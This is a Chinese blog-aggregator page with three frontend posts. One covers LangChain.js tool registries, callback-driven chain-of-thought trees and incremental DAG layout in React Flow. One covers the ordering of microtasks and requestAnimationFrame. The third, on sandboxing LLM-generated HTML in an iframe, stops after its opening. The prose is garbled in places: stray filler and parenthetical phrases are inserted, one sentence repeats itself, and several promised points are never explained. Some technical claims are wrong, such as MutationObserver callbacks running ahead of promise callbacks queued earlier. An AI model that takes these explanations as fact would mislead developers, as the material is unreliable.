普通视图

发现新文章,点击刷新页面。
昨天 — 2026年3月15日首页

基于 LangChain.js 的前端 Agent 工作流编排:Tool 注册、思维链可视化与多步推理的实时 DAG 渲染

2026年3月15日 18:01

基于 LangChain.js 的前端 Agent 工作流编排:Tool 注册、思维链可视化与多步推理的实时 DAG 渲染

AgentExecutor.invoke() 那个 Promise resolve 的时候,你用户已经对着空白页发了 40 秒呆。

这不是性能问题。这是产品层面的硬伤——LLM Agent 做推理天生就慢,一个中等复杂度的任务跑个 3 到 5 轮 tool.call() 很正常,每轮都要等模型吐完 token、解析结构化输出、跑一下外部调用、再把结果塞回 messages 数组喂回去,整条链路跑下来十几秒起步,你要是把这些全藏在一个 loading spinner 后面,用户的耐心大概撑不过第二轮。所以真正要解决的问题不是"怎么让 Agent 跑起来",是怎么把它边跑边想的过程实时地、结构化地渲染出来(当然这是理想情况)。

Tool 选择、参数组装、中间结果、重试决策。全得摊开给用户看。说白了嘛,就是给 LLM 的"内心戏"搭一个可视化的舞台,让用户知道它不是卡死了而是真的在干活。跑通一个 demo 不难,难的是这套东西在生产环境里不崩——两个字概括就是"耐操"。

用户输入
  ↓
LLM 决策(选 Tool + 生成参数)
  ↓                    ↓
Tool A 执行         Tool B 执行(并行)
  ↓                    ↓
结果合并 → LLM 再决策
               ↓
          Tool C 执行
               ↓
          最终输出

这个流程画出来像个 DAG。但运行时它是动态生长的——你在第一步根本不知道后面会长出几个分支,也不知道哪个 Tool 会超时、哪个会返回意料之外的格式让 LLM 的 JSON.parse 直接炸掉。这篇文章围绕这个矛盾展开:怎么设计一套前端架构让 Tool 可插拔注册、思维链状态可追踪、DAG 可实时渲染,同时不把代码写成一坨谁都不想维护的东西。

Tool 注册机制:别让你的 Agent 变成一个巨型 switch-case

先上问题。LangChain.js 里注册 Tool 的标准姿势大概长这样:

import { DynamicStructuredTool } from '@langchain/core/tools'
import { z } from 'zod'

const searchTool = new DynamicStructuredTool({
  name: 'web_search',
  description: '搜索互联网获取实时信息',
  schema: z.object({
    query: z.string().describe('搜索关键词'),
    maxResults: z.number().optional().default(5),
  }),
  func: async ({ query, maxResults }) => {
    const res = await fetch(`/api/search?q=${encodeURIComponent(query)}&limit=${maxResults}`)
    const data = await res.json()
    return JSON.stringify(data.results.slice(0, maxResults))
  },
})

一个 Tool 写成这样没问题。三个也凑合。十五个呢?

真实项目里 Agent 要调的 Tool 很容易膨胀到两位数——搜索、计算、db.query()、文件读写、外部 REST API 调用、沙箱代码执行——每一个都有自己的 schema 定义、错误处理逻辑、重试策略、权限校验规则,你要是把它们全塞在一个文件里就会得到一个 800 行的 tools.ts,三个月后没人敢碰这玩意。

需要 registry 模式。

// tool-registry.ts
// 核心思路:Tool 自己知道自己是谁,registry 只负责收集和分发

type ToolMeta = {
  category: 'search' | 'compute' | 'io' | 'external'
  requiresAuth: boolean
  timeout: number  // 毫秒,超时直接 abort
  retryable: boolean
}

class ToolRegistry {
  private tools = new Map<string, DynamicStructuredTool>()
  private meta = new Map<string, ToolMeta>()

  register(tool: DynamicStructuredTool, meta: ToolMeta) {
    if (this.tools.has(tool.name)) {
      // 同名 Tool 重复注册,直接炸——这种 bug 越早发现越好
      throw new Error(`Tool "${tool.name}" already registered`)
    }
    this.tools.set(tool.name, tool)
    this.meta.set(tool.name, meta)
  }

  getTools(filter?: { category?: ToolMeta['category'] }): DynamicStructuredTool[] {
    let entries = [...this.tools.entries()]
    if (filter?.category) {
      entries = entries.filter(([name]) => 
        this.meta.get(name)?.category === filter.category
      )
    }
    return entries.map(([, tool]) => tool)
  }

  getMeta(name: string): ToolMeta | undefined {
    return this.meta.get(name)
  }
}

export const registry = new ToolRegistry()

然后每个 Tool 自己单独一个文件,文件末尾做自注册,import 的副作用就是把自己挂到 registry 上:

// tools/web-search.ts
import { registry } from '../tool-registry'

const tool = new DynamicStructuredTool({
  name: 'web_search',
  description: '搜索互联网获取实时信息',
  schema: z.object({ query: z.string() }),
  func: async ({ query }) => {
    // ...实际逻辑
  },
})

registry.register(tool, {
  category: 'search',
  requiresAuth: false,
  timeout: 10000,
  retryable: true,
})

这个模式有个隐含的坑。

const toolModules = import.meta.glob('./tools/*.ts', { eager: true })
// eager: true → 同步加载,确保注册发生在 Agent 创建之前
// 不需要用返回值,import 的副作用已经完成注册

静态注册搞定了。

但跑起来还有一层:Tool 执行过程中的生命周期钩子。你需要知道一个 Tool 什么时候开始执行、什么时候结束、返回了什么、报错了没有——这些信息不只是后面思维链可视化的数据源,它就是思维链本身的骨架,没有这些事件流你后面画个锤子的 DAG。

嗯,继续。

LangChain.js 原生提供了 callbacks 机制来做这事。但它的回调设计——怎么说呢——有点"Java 味儿",handleToolStarthandleToolEndhandleToolError 一堆方法签名糊你脸上,参数类型还经常对不上文档(虽然这个设计我觉得有点奇怪,明明 TypeScript 项目为什么类型定义这么随意)。我的做法是在 registry 层包一层代理把 Tool 的 func 拦截掉:

// 在 ToolRegistry.register 方法内部
register(tool: DynamicStructuredTool, meta: ToolMeta) {
  const originalFunc = tool.func.bind(tool)

  const wrappedFunc = async (input: any, runManager?: any) => {
    const startTime = Date.now()
    const executionId = crypto.randomUUID()

    this.emit('tool:start', { 
      executionId, 
      toolName: tool.name, 
      input, 
      timestamp: startTime 
    })

    try {
      const result = await Promise.race([
        originalFunc(input, runManager),
        new Promise((_, reject) => 
          setTimeout(() => reject(new Error(`Tool ${tool.name} timeout`)), meta.timeout)
        ),
      ])

      this.emit('tool:end', { 
        executionId, 
        toolName: tool.name, 
        result, 
        duration: Date.now() - startTime 
      })
      return result
    } catch (err) {
      this.emit('tool:error', { 
        executionId, 
        toolName: tool.name, 
        error: err, 
        duration: Date.now() - startTime,
        retryable: meta.retryable,
      })
      throw err
    }
  }

  ;(tool as any).func = wrappedFunc
  this.tools.set(tool.name, tool)
  this.meta.set(tool.name, meta)
}

这段代码有个细节值得停一下。Promise.race 里塞 setTimeout 做超时兜底这个套路很常见,但用在 LangChain Tool 里有一个陷阱——timeout reject 之后原始的 fetch 或者数据库查询其实还在跑着呢。你的 Agent 已经收到报错往下走了,后台还挂着一个请求在那耗资源。前端并发高这个说法本身就有点奇怪对吧?一个用户一次也就跑一个 Agent。但你仔细想——如果 Agent 支持并行 Tool 调用,同时起 3、4 个 fetch,再叠上用户可能开了好几个对话 tab 每个 tab 都在跑,这个泄漏就不是理论问题了,AbortController 是正解但 DynamicStructuredTool 不方便把 AbortSignal 传进 func 里,得自己在闭包里存一个,写出来不好看,先欠着。

嗯,继续。

真正让 registry 模式值回票价的是动态 Tool 集,不同用户角色、不同对话场景,Agent 能调的 Tool 不一样。管理员能用 db_query,普通用户碰都别碰(虽然官方文档不是这么说的)。哦不,准确说是用 db_query,普通用户碰都别碰(虽然官方文档不是这么说的)。处理代码问题时加载 code_executor,闲聊天的时候不需要。

function getToolsForContext(user: User, conversationType: string) {
  const tools = registry.getTools()

  return tools.filter(tool => {
    const meta = registry.getMeta(tool.name)!
    if (meta.requiresAuth && !user.permissions.includes(tool.name)) {
      return false
    }
    if (conversationType === 'casual' && meta.category === 'compute') {
      return false
    }
    return true
  })
}

const agent = await createOpenAIFunctionsAgent({
  llm,
  tools: getToolsForContext(currentUser, 'technical'),
  prompt,
})

这段 filter 看着朴素,本质上是把 Tool 的注册和使用解耦了。

不过话说回来。这套 registry 最大的受益者不是运行时(虽然官方文档不是这么说的)。是后面的 DAG 渲染,因为 tool:starttool:end 这些事件流出来了,思维链的数据源就有了。

思维链状态管理:把 LLM 的内心戏变成一棵可追踪的树

AgentExecutor 跑起来之后内部在干嘛?

就是一个循环:

while (true) {
  1. 把当前 messages 数组发给 LLM
  2. LLM 返回:要调 Tool(哪个 Tool 什么参数)或者直接吐最终答案
  3. 最终答案 → break
  4. Tool 调用 → 执行 → 结果塞回 messages → 回到 1
}

循环每转一圈就是思维链上一个节点。问题在于 LangChain 的 callbacks 能告诉你这些事件发生了,但它不给你一个结构化的状态对象来表达整条链的拓扑关系——你拿到的是一堆散装事件,得自己攒成一棵树。

一开始设计太复杂了后来砍了又砍,砍到不能再砍:(数据结构。踩了几次坑之后收敛出来的版本)

type ThinkingNodeType = 'llm_call' | 'tool_call' | 'tool_result' | 'final_answer' | 'error'

type ThinkingNodeStatus = 'pending' | 'running' | 'completed' | 'failed'

interface ThinkingNode {
  id: string
  type: ThinkingNodeType
  status: ThinkingNodeStatus
  parentId: string | null
  label: string
  data: Record<string, any>
  startedAt: number
  completedAt: number | null
  children: string[]
  streamTokens?: string[]
}

interface ThinkingChain {
  sessionId: string
  rootId: string
  nodes: Map<string, ThinkingNode>
  currentNodeId: string | null
}

ThinkingNodeparentIdchildren 形成树结构。等下——不是说好了 DAG 吗?对,理论上如果两个 Tool 的结果同时喂给下一轮 LLM 决策那确实是 DAG 不是树。但在 LangChain.js 目前的 AgentExecutor 实现里(注意我说的是 AgentExecutor 不是 langgraph)并行 Tool 调用的结果最终还是拼成一条消息喂回去的,所以中间状态用树来建模够用了,真要严格 DAG 后面单独讲。

管理器,维护这棵树同时对接 LangChain 的 callback 体系:

class ThinkingChainManager {
  private chain: ThinkingChain
  private listeners = new Set<(chain: ThinkingChain) => void>()

  constructor(sessionId: string) {
    const rootId = crypto.randomUUID()
    this.chain = {
      sessionId,
      rootId,
      nodes: new Map(),
      currentNodeId: null,
    }
  }

  addNode(
    type: ThinkingNodeType,
    label: string,
    parentId: string | null,
    data: Record<string, any> = {}
  ): string {
    const id = crypto.randomUUID()
    const node: ThinkingNode = {
      id, type, status: 'pending', parentId, label, data,
      startedAt: Date.now(), completedAt: null, children: [],
    }

    this.chain.nodes.set(id, node)

    if (parentId && this.chain.nodes.has(parentId)) {
      this.chain.nodes.get(parentId)!.children.push(id)
    }

    this.notify()
    return id
  }

  updateStatus(nodeId: string, status: ThinkingNodeStatus) {
    const node = this.chain.nodes.get(nodeId)
    if (!node) return
    node.status = status
    if (status === 'completed' || status === 'failed') {
      node.completedAt = Date.now()
    }
    if (status === 'running') {
      this.chain.currentNodeId = nodeId
    }
    this.notify()
  }

  appendStreamToken(nodeId: string, token: string) {
    const node = this.chain.nodes.get(nodeId)
    if (!node) return
    if (!node.streamTokens) node.streamTokens = []
    node.streamTokens.push(token)
    // 这里刻意不调 notify()
  }

  subscribe(listener: (chain: ThinkingChain) => void) {
    this.listeners.add(listener)
    return () => this.listeners.delete(listener)
  }

  private notify() {
    this.listeners.forEach(fn => fn(this.chain))
  }

  getSnapshot(): ThinkingChain {
    return this.chain
  }
}

为什么 appendStreamToken 不触发 notify()

因为 GPT-4 和 Claude 吐 token 的速度大概每秒 30 到 80 个,短 token 飞起来的时候能到 100 以上——如果每个 token 都触发一次 React re-render 你的 UI 线程会直接卡成幻灯片放映。正确做法是在消费端 throttle,用 requestAnimationFrame 一帧刷一次就够了:

useEffect(() => {
  const unsub = chainManager.subscribe(chain => {
    setDisplayChain(structuredClone(chain))
  })

  let rafId: number
  const tickStream = () => {
    setDisplayChain(structuredClone(chainManager.getSnapshot()))
    rafId = requestAnimationFrame(tickStream)
  }
  rafId = requestAnimationFrame(tickStream)

  return () => {
    unsub()
    cancelAnimationFrame(rafId)
  }
}, [chainManager])

structuredClone 在这里是有点奢侈的。节点多的时候每帧 clone 一次整棵树开销不小(虽然说实话 20 个节点的对象 clone 一次也就微秒级别),更好的做法是上 immer 维护 immutable 结构,但过早优化不如先跑通再说。

写到这里突然觉得之前说的不太对。

接着要把 ThinkingChainManager 和 LangChain 的 callback 对接。继承 BaseCallbackHandler 重写一堆 handle* 方法:

import { BaseCallbackHandler } from '@langchain/core/callbacks/base'

class ThinkingChainCallbackHandler extends BaseCallbackHandler {
  name = 'ThinkingChainHandler'
  private manager: ThinkingChainManager
  private runNodeMap = new Map<string, string>()
  private currentLlmNodeId: string | null = null

  constructor(manager: ThinkingChainManager) {
    super()
    this.manager = manager
  }

  async handleLLMStart(llm: any, prompts: string[], runId: string) {
    const parentId = this.getParentNodeId()
    const nodeId = this.manager.addNode(
      'llm_call',
      '正在思考...',
      parentId,
      { model: llm?.modelName || 'unknown' }
    )
    this.runNodeMap.set(runId, nodeId)
    this.currentLlmNodeId = nodeId
    this.manager.updateStatus(nodeId, 'running')
  }

  async handleLLMNewToken(token: string) {
    if (this.currentLlmNodeId) {
      this.manager.appendStreamToken(this.currentLlmNodeId, token)
    }
  }

  async handleLLMEnd(output: any, runId: string) {
    const nodeId = this.runNodeMap.get(runId)
    if (nodeId) {
      this.manager.updateStatus(nodeId, 'completed')
    }
    this.currentLlmNodeId = null
  }

  async handleToolStart(tool: any, input: string, runId: string) {
    const parentId = this.currentLlmNodeId || this.getParentNodeId()
    const nodeId = this.manager.addNode(
      'tool_call',
      `调用 ${tool.name || 'Tool'}`,
      parentId,
      { toolName: tool.name, input: JSON.parse(input || '{}') }
    )
    this.runNodeMap.set(runId, nodeId)
    this.manager.updateStatus(nodeId, 'running')
  }

  async handleToolEnd(output: string, runId: string) {
    const nodeId = this.runNodeMap.get(runId)
    if (!nodeId) return

    const resultNodeId = this.manager.addNode(
      'tool_result',
      '结果返回',
      nodeId,
      { output: output.slice(0, 500) }
    )
    this.manager.updateStatus(resultNodeId, 'completed')
    this.manager.updateStatus(nodeId, 'completed')
  }

  async handleToolError(err: any, runId: string) {
    const nodeId = this.runNodeMap.get(runId)
    if (nodeId) {
      this.manager.updateStatus(nodeId, 'failed')
      this.manager.addNode('error', `错误: ${err.message}`, nodeId, { error: err })
    }
  }

  private getParentNodeId(): string | null {
    return this.manager.getSnapshot().currentNodeId
  }
}

这段 handler 有一个 LangChain 做得不好的地方——handleToolStart 的第二个参数 inputstring 不是结构化对象,你得自己 JSON.parse,而且它有时候给你的不是合法 JSON。不是 bug。是"特性"。(我已经在 GitHub issue 里看到过不下十个人吐槽这个事了,官方一直没改。)

串起来。启动代码:

const chainManager = new ThinkingChainManager(sessionId)
const callbackHandler = new ThinkingChainCallbackHandler(chainManager)

const executor = AgentExecutor.fromAgentAndTools({
  agent,
  tools: getToolsForContext(currentUser, conversationType),
  callbacks: [callbackHandler],
  // streaming 这个配置名字叫 streaming
  // 但实际控制的是 callback 的粒度——不开的话 handleLLMNewToken 不触发
})

registry.on('tool:start', (event) => {
  // 补充 meta 信息:预期耗时、是否可重试之类的
})

到这一步思维链的数据流就通了,每一步推理每一次 Tool 调用都会在 ThinkingChainManager 里生成对应节点。

拉回来讲渲染。

DAG 渲染:把动态生长的图画到屏幕上

这是整个方案里最容易做出来、也最容易做烂的部分。

先明确一下要渲染什么:

[用户提问][LLM 思考 #1] ──→ [调用 web_search("天气")] ──→ [结果: 晴 25°C]
    ↓                                                    ↓
[LLM 思考 #2] ←──────────────────────────────────────────┘
    ↓
    ├──→ [调用 calculator("25 * 9/5 + 32")] ──→ [结果: 77°F]
    │
    └──→ [调用 translator("晴", "en")] ──→ [结果: "Sunny"]
              ↓                                    ↓
[LLM 思考 #3] ←──────────────────────────────────┘
    ↓
[最终回答: "今天天气晴朗,25°C (77°F)"]

节点类型不统一,有 llm_calltool_calltool_resultfinal_answer。连边方向单一但有并行分支。整个图是边跑边长的——这很要命。

用什么库?

核心挑战不在渲染。在布局算法。

每次新增节点整个图的布局可能要重算,如果用 dagre 做自动布局(react-flow 文档推荐的方式),每次 addNode 就重新算一遍所有节点的 x/y 坐标——已有节点位置会跳。用户正盯着某个节点看呢突然它蹦到另一个位置去了。体验极差。

我的方案是增量布局。新节点根据父节点位置做相对定位,已有节点纹丝不动:

import { useCallback, useRef } from 'react'

const LAYOUT = {
  nodeWidth: 240,
  nodeHeight: 80,
  horizontalGap: 60,
  verticalGap: 100,
} as const

function useIncrementalLayout() {
  const positionCache = useRef(new Map<string, { x: number; y: number }>())
  const depthCounters = useRef(new Map<number, number>())

  const getNodePosition = useCallback((
    nodeId: string,
    parentId: string | null,
    depth: number
  ): { x: number; y: number } => {
    if (positionCache.current.has(nodeId)) {
      return positionCache.current.get(nodeId)!
    }

    const currentCount = depthCounters.current.get(depth) || 0
    depthCounters.current.set(depth, currentCount + 1)

    let x: number, y: number

    if (!parentId) {
      x = 400
      y = 50
    } else {
      const parentPos = positionCache.current.get(parentId)
      if (parentPos) {
        x = parentPos.x + (currentCount * (LAYOUT.nodeWidth + LAYOUT.horizontalGap))
        y = parentPos.y + LAYOUT.verticalGap
        
        const siblings = currentCount
        if (siblings > 0) {
          x = parentPos.x + ((siblings - 0.5) * (LAYOUT.nodeWidth + LAYOUT.horizontalGap) / 2)
        }
      } else {
        x = currentCount * (LAYOUT.nodeWidth + LAYOUT.horizontalGap)
        y = depth * LAYOUT.verticalGap
      }
    }

    const pos = { x, y }
    positionCache.current.set(nodeId, pos)
    return pos
  }, [])

  return { getNodePosition }
}

坦白讲这段布局代码写得有点糙。并行分支水平展开的算法不太对,三个以上并行 Tool 的时候节点会挤成一坨——但 80% 的场景够用。再说吧。完美的 DAG 布局是一个学术级问题,Sugiyama 算法那一套你真去实现要写好几百行,在这个业务场景下追求完美属于浪费生命。你的用户关心的是"Agent 在干嘛""到第几步了""哪步挂了",不是这图的 margin 对不对称。

自定义节点组件,根据 ThinkingNodeType 渲染不同样式:

function ThinkingNodeComponent({ data }: { data: ThinkingNode }) {
  const statusColor = {
    pending: '#94a3b8',
    running: '#3b82f6',
    completed: '#22c55e',
    failed: '#ef4444',
  }[data.status]

  return (
    <div 
      className={`thinking-node thinking-node--${data.type}`}
      style={{ borderLeftColor: statusColor, borderLeftWidth: 4 }}
    >
      <div className="thinking-node__header">
        <span className="thinking-node__icon">{getIcon(data.type)}</span>
        <span>{data.label}</span>
        {data.status === 'running' && <PulseIndicator />}
      </div>
      
      {data.streamTokens && data.status === 'running' && (
        <div className="thinking-node__stream">
          {data.streamTokens.join('')}
          <BlinkingCursor />
        </div>
      )}
      
      {data.type === 'tool_call' && data.data.input && (
        <Collapsible title="参数">
          <pre>{JSON.stringify(data.data.input, null, 2)}</pre>
        </Collapsible>
      )}
      
      {data.type === 'tool_result' && (
        <Collapsible title="结果">
          <pre>{data.data.output}</pre>
        </Collapsible>
      )}
    </div>
  )
}

ThinkingChain 转成 @xyflow/react 要的 nodesedges 数组——BFS 遍历顺便算深度:

function chainToFlowElements(
  chain: ThinkingChain,
  getPosition: (id: string, parentId: string | null, depth: number) => { x: number; y: number }
) {
  const nodes: Node[] = []
  const edges: Edge[] = []

  const queue: Array<{ nodeId: string; depth: number }> = []
  const visited = new Set<string>()

  for (const [id, node] of chain.nodes) {
    if (!node.parentId) {
      queue.push({ nodeId: id, depth: 0 })
    }
  }

  while (queue.length > 0) {
    const { nodeId, depth } = queue.shift()!
    if (visited.has(nodeId)) continue
    visited.add(nodeId)

    const thinkingNode = chain.nodes.get(nodeId)!
    const position = getPosition(nodeId, thinkingNode.parentId, depth)

    nodes.push({
      id: nodeId,
      type: 'thinkingNode',
      position,
      data: thinkingNode,
    })

    if (thinkingNode.parentId) {
      edges.push({
        id: `${thinkingNode.parentId}-${nodeId}`,
        source: thinkingNode.parentId,
        target: nodeId,
        animated: thinkingNode.status === 'running',
        style: { stroke: thinkingNode.status === 'failed' ? '#ef4444' : '#64748b' },
      })
    }

    for (const childId of thinkingNode.children) {
      queue.push({ nodeId: childId, depth: depth + 1 })
    }
  }

  return { nodes, edges }
}

最终 React 组件:

function AgentDAGViewer({ chainManager }: { chainManager: ThinkingChainManager }) {
  const [chain, setChain] = useState<ThinkingChain | null>(null)
  const { getNodePosition } = useIncrementalLayout()

  useEffect(() => {
    return chainManager.subscribe(newChain => {
      setChain(structuredClone(newChain))
    })
  }, [chainManager])

  const { nodes, edges } = useMemo(() => {
    if (!chain) return { nodes: [], edges: [] }
    return chainToFlowElements(chain, getNodePosition)
  }, [chain, getNodePosition])

  const reactFlowInstance = useReactFlow()
  useEffect(() => {
    if (chain?.currentNodeId) {
      const pos = getNodePosition(chain.currentNodeId, null, 0)
      reactFlowInstance.setCenter(pos.x, pos.y, { duration: 300, zoom: 1 })
    }
  }, [chain?.currentNodeId])

  return (
    <ReactFlow
      nodes={nodes}
      edges={edges}
      nodeTypes={{ thinkingNode: ThinkingNodeComponent }}
      fitView={false}
      panOnDrag
      zoomOnScroll
      minZoom={0.3}
      maxZoom={1.5}
    >
      <Background />
      <Controls />
    </ReactFlow>
  )
}

踩坑提醒:useReactFlow() 必须在 <ReactFlowProvider> 内部调用否则直接报错,而且这个 Provider 不能和 <ReactFlow> 在同一个组件里——得包在外面一层,文档里写了但不显眼,十个人里九个半会踩这个。

设计权衡和边界

langgraph 还是 AgentExecutor?绕不开的选择。

LangChain 团队自己都在推 langgraph 作为 Agent 编排的下一代方案,AgentExecutor 某种意义上已经进维护模式了。langgraph 原生就是图结构——StateGraph 加节点加边——天然比 AgentExecutor 那个 while 循环模型更贴合 DAG 可视化的需求:

import { StateGraph } from '@langchain/langgraph'

const workflow = new StateGraph({ channels: agentState })
  .addNode('agent', callModel)
  .addNode('tools', callTools)
  .addEdge('__start__', 'agent')
  .addConditionalEdges('agent', shouldContinue, {
    continue: 'tools',
    end: '__end__',
  })
  .addEdge('tools', 'agent')

const app = workflow.compile()

langgraph 也不是万能药,它的学习曲线比 AgentExecutor 陡不少——StateGraphchannelsconditional edgescheckpointer 一堆新概念砸过来,而且 JS 版本目前功能比 Python 版少了一截。如果你的场景就是一个简单的 ReAct 循环,AgentExecutor 配上前面那套 callback 机制已经够使了,别为了架构上的"正确性"引入不必要的复杂度。能跑。够了。

性能方面最大的瓶颈根本不在前端渲染。

状态持久化这块,ThinkingChainManager 的数据目前纯内存,location.reload() 一下就全没了。如果需要回放历史对话的推理过程——企业场景里这个需求挺常见,审计合规什么的——得把整个 ThinkingChain 序列化存后端,每个事件带 timestamp,回放时按时间戳重新 replay。这块展开讲又是一整篇文章的体量了。

跑了大半年生产环境,这套方案最大的教训就一句话:别想一步到位。ThinkingNodetype 枚举我改了四版,ToolMeta 的结构加了三次字段,DAG 布局算法换过两种方案。先用 AgentExecutor 加最基础的 callback 加一个简单的列表式渲染跑通,确认产品方向没问题了再逐步往上堆 DAG 可视化、增量布局、流式 token 这些花活。想等一步到位只会等出个寂寞来。

从一个 `console.log` 顺序翻车说起,聊聊微任务那些糟心事

2026年3月15日 12:46

从一个 console.log 顺序翻车说起,聊聊微任务那些糟心事

Promise.resolve().then(() => console.log('promise'))
queueMicrotask(() => console.log('microtask'))

const observer = new MutationObserver(() => console.log('mutation'))
const node = document.createTextNode('')
observer.observe(node, { characterData: true })
node.data = '1'

console.log('sync')

你猜输出啥?sync 先出来,没毛病,同步代码嘛。然后 promisemicrotaskmutation——这个等下再说,对吧?跑一下 Chrome。

没问题。

再跑一次。

sync
mutation
promise
microtask

坏了。MutationObserver 跑前面去了,你写代码的顺序根本不算数,入队时机才是爹。

同一个队列,不同的入队姿势

讲道理,我翻过不少事件循环的文章,十篇有八篇把 Promise.thenqueueMicrotaskMutationObserver 往"微任务"这个筐里一扔就完事了,说它们优先级一样。对吗?对。有用吗?没用。优先级一样但入队时机天差地别,最终谁先跑完全是另一码事。

queueMicrotask(fn) 最老实——你调用的那一瞬间 fn 就塞进微任务队列了,没有中间商赚差价,没有任何包装层,一步到位。Promise.resolve().then(fn) 差不多,因为这个 Promise 已经是 resolved 状态了,.then 执行的时候 fn 也是立刻入队,但它多走了一层 PromiseReactionJob 的内部机制,比 queueMicrotask 慢那么一丢丢。所以这俩的顺序基本就是你写代码的顺序,稳得一批。

MutationObserver 的话?不一样。

它的回调入队时机取决于浏览器把 DOM 变更"收集"完毕的时间点——浏览器会在同一个微任务检查点(microtask checkpoint)触发前,把这段时间内攒起来的所有 DOM 变更打包,然后才把 MutationObserver 的回调作为微任务丢进队列。就这个"攒"的动作,导致了时序上的不确定性,你没法拿看代码顺序来推断它什么时候入队(听起来很合理对吧,但是)。

// 这段的顺序是确定的
queueMicrotask(() => console.log('A'))  // 调用瞬间入队
Promise.resolve().then(() => console.log('B'))  // 也是立刻,但多了一层包装
// 永远 A → B

坦白说 V8 源码里 queueMicrotask 走的是 EnqueueMicrotask 这条更短的路径,而 Promise.then 要经过 NewPromiseReactionJobTask 再绕一圈才入队。别问我怎么知道的。

说到这里我自己都有点绕了。

这也解释了 Vue 的 nextTick 演变史:Vue 2 最早用 MutationObserver,时序不稳,后来换成 Promise.then,到 Vue 3 干脆用 queueMicrotask 打底。越直接越可控,就这么简单。

requestAnimationFrame 压根不是任务,它是渲染管线的一部分

这块是重灾区。

我见过无数事件循环示意图,把 rAF 画在宏任务和微任务旁边,搞一个所谓的"rAF 队列"。

来看一段会让你抓狂的代码:

document.querySelector('.box').style.transform = 'translateX(0px)'

requestAnimationFrame(() => {
  document.querySelector('.box').style.transform = 'translateX(100px)'
})

你以为会看到元素从 0px 平滑过渡到 100px 的动画?实际效果:元素直接出现在 100px 的位置,没有任何过渡。怎么回事?因为第一行的样式修改和 rAF 回调里的修改都在同一帧被处理了,浏览器把它们合并成一次渲染,中间根本没有产生过一帧"元素在 0px"的画面。

修复方案有两个。一是"双 rAF"技巧:

box.style.transform = 'translateX(0px)'

requestAnimationFrame(() => {
  // 第一个 rAF:确保 0px 这个值被渲染出去了
  requestAnimationFrame(() => {
    // 第二个 rAF:下一帧再改成 100px
    box.style.transform = 'translateX(100px)'
  })
})

二是用 getComputedStyle(box).transform 强制触发一次同步重排,逼浏览器把第一次修改"落地"。但这招有代价——同步布局计算在列表场景下会直接把帧率干到个位数,getComputedStyle 不是免费的午餐。

那浏览器事件循环一轮的真实顺序到底是啥?把渲染管线也画进来的话:

  1. 取一个宏任务跑完(setTimeout 回调、MessageChannel、用户点击事件之类的)
  2. 清空微任务队列,Promise.thenqueueMicrotaskMutationObserver 全在这一步
  3. 浏览器判断:需要渲染吗?不一定。屏幕 60Hz 的话大约 16.6ms 一帧,你要是 1ms 内连着跑了 10 个 setTimeout(fn, 0),大概率这 10 个宏任务全跑完了才渲染一次
  4. 如果要渲染——进入渲染阶段:跑 rAF 回调,算样式,跑布局,绘制,合成

反正大概是这么个意思。

注意第 3 步那个"不一定"。这就是为什么你不能拿 rAF 当"尽快执行"用,它的实际延迟可能比 setTimeout(fn, 0) 还大(听起来很合理对吧,但是)。React 的 scheduler 选了 MessageChannel 而不是 rAF,原因就在这——React 要的是"尽快切到下一个任务切片",不是"等到下一次渲染前"。

混在一起用的时候,地狱开始了

虚拟滚动列表。滚动事件触发后你要干三件事:算可视区域、改 DOM、等渲染完拿新 DOM 的高度。三步,三种调度策略。搞混一个直接白屏。

onScroll = (event) => {
  // 同步算可视范围,这步没争议
  const visibleRange = calcRange(event.scrollTop)

  // 微任务里批量更新 DOM——为什么?
  // 因为要赶在当前帧渲染前把 DOM 改好
  queueMicrotask(() => {
    updateDOM(visibleRange)

    // 等渲染完测量高度,用 rAF?
    // 坑来了
    requestAnimationFrame(() => {
      // rAF 跑在渲染阶段开头,布局还没算呢
      // 你拿到的高度是上一帧的

      requestAnimationFrame(() => {
        const heights = measureHeights()  // 这里才安全
      })
    })
  })
}

rAF 的回调跑在渲染流水线的最前面,在样式计算和布局之前,你在 rAF 里读 offsetHeight 之类的值,拿到的可能是旧的。又是双 rAF——第一个保证 DOM 更新进了渲染管线,第二个在下一帧拿上一帧的布局结果。

嗯,继续。

怎么说呢,这个调度模型其实一句话就能讲完:微任务在当前宏任务结束后渲染前清空,rAF 在渲染阶段开头跑,渲染整完后想做事没有原生 API,要么双 rAF 要么 ResizeObserver

但还有更绕的。rAF 回调里能不能产生微任务?能。

requestAnimationFrame(() => {
  console.log('rAF-1')
  queueMicrotask(() => console.log('micro-in-rAF'))
})

requestAnimationFrame(() => {
  console.log('rAF-2')
})
// 输出:rAF-1 → micro-in-rAF → rAF-2

每个 rAF 回调执行完后浏览器都会检查微任务队列并清空,跟宏任务结束后清空微任务是同一套逻辑——每个可执行上下文结束时都有一个 microtask checkpoint,rAF 回调也算一个可执行上下文,所以在 rAFqueueMicrotask 是安全的。

嗯,继续。

那在 rAF 回调里再调一次 requestAnimationFrame 注册的新回调会在当前帧跑吗?不会。规范写得很清楚:每帧开始时浏览器会对当前已注册的 rAF 回调列表做一次快照,只跑快照里的,执行期间新注册的推到下一帧。双 rAF 能保证跨帧不是 hack,是规范行为。

ResizeObserver 的调度时机更绕——卡在布局之后绘制之前,还可能触发二次 re-layout。够呛。这个回头单独写。

把 LLM 吐出来的组件扔进 `iframe` 跑:沙箱隔离这件事没你想的那么简单

2026年3月15日 12:46

把 LLM 吐出来的组件扔进 iframe 跑:沙箱隔离这件事没你想的那么简单

dangerouslySetInnerHTML 直接把 AI 返回的 HTML 糊到页面上——你干过没?

干过。去年接手一个 AI 生成 UI 的项目,前任同事就是这么搞的,GPT 返回一段 <div><style><script>,直接往 DOM 里一塞。能跑就行嘛。跑是能跑,直到有一天 AI 返回了一段代码里面带了 document.cookie,紧接着又带了一个 fetch 往外发请求,安全团队的告警邮件半夜三点把我叫醒了。不想再体验第二次。

早知道就老老实实做沙箱。

这篇聊的就是这件事:LLM 输出的组件代码怎么在浏览器里安全跑起来,核心方案是 iframe 配合 Content-Security-Policy,再加上错误边界兜底。不是什么新技术。但组合起来的坑比想象中多得多得多。

iframe sandbox:看起来一行属性就搞定,实际全是取舍

先说基础的。

<iframe sandbox> 这个属性加上之后,浏览器会给 iframe 里的内容套一层限制——不能执行脚本、不能提交表单、不能用 top.location 跳转、不能弹窗。听起来很美。但问题来了,AI 生成的 UI 组件十有八九需要跑 JavaScript,你总不能让 GPT 只吐静态 HTML 吧,那还不如直接用 markdown-it 渲染算了。所以你得把 allow-scripts 加回来:

<iframe
  sandbox="allow-scripts"
  srcdoc="..."
  style="width:100%;height:400px;border:none;"
></iframe>

就这一行。事情开始变复杂了。

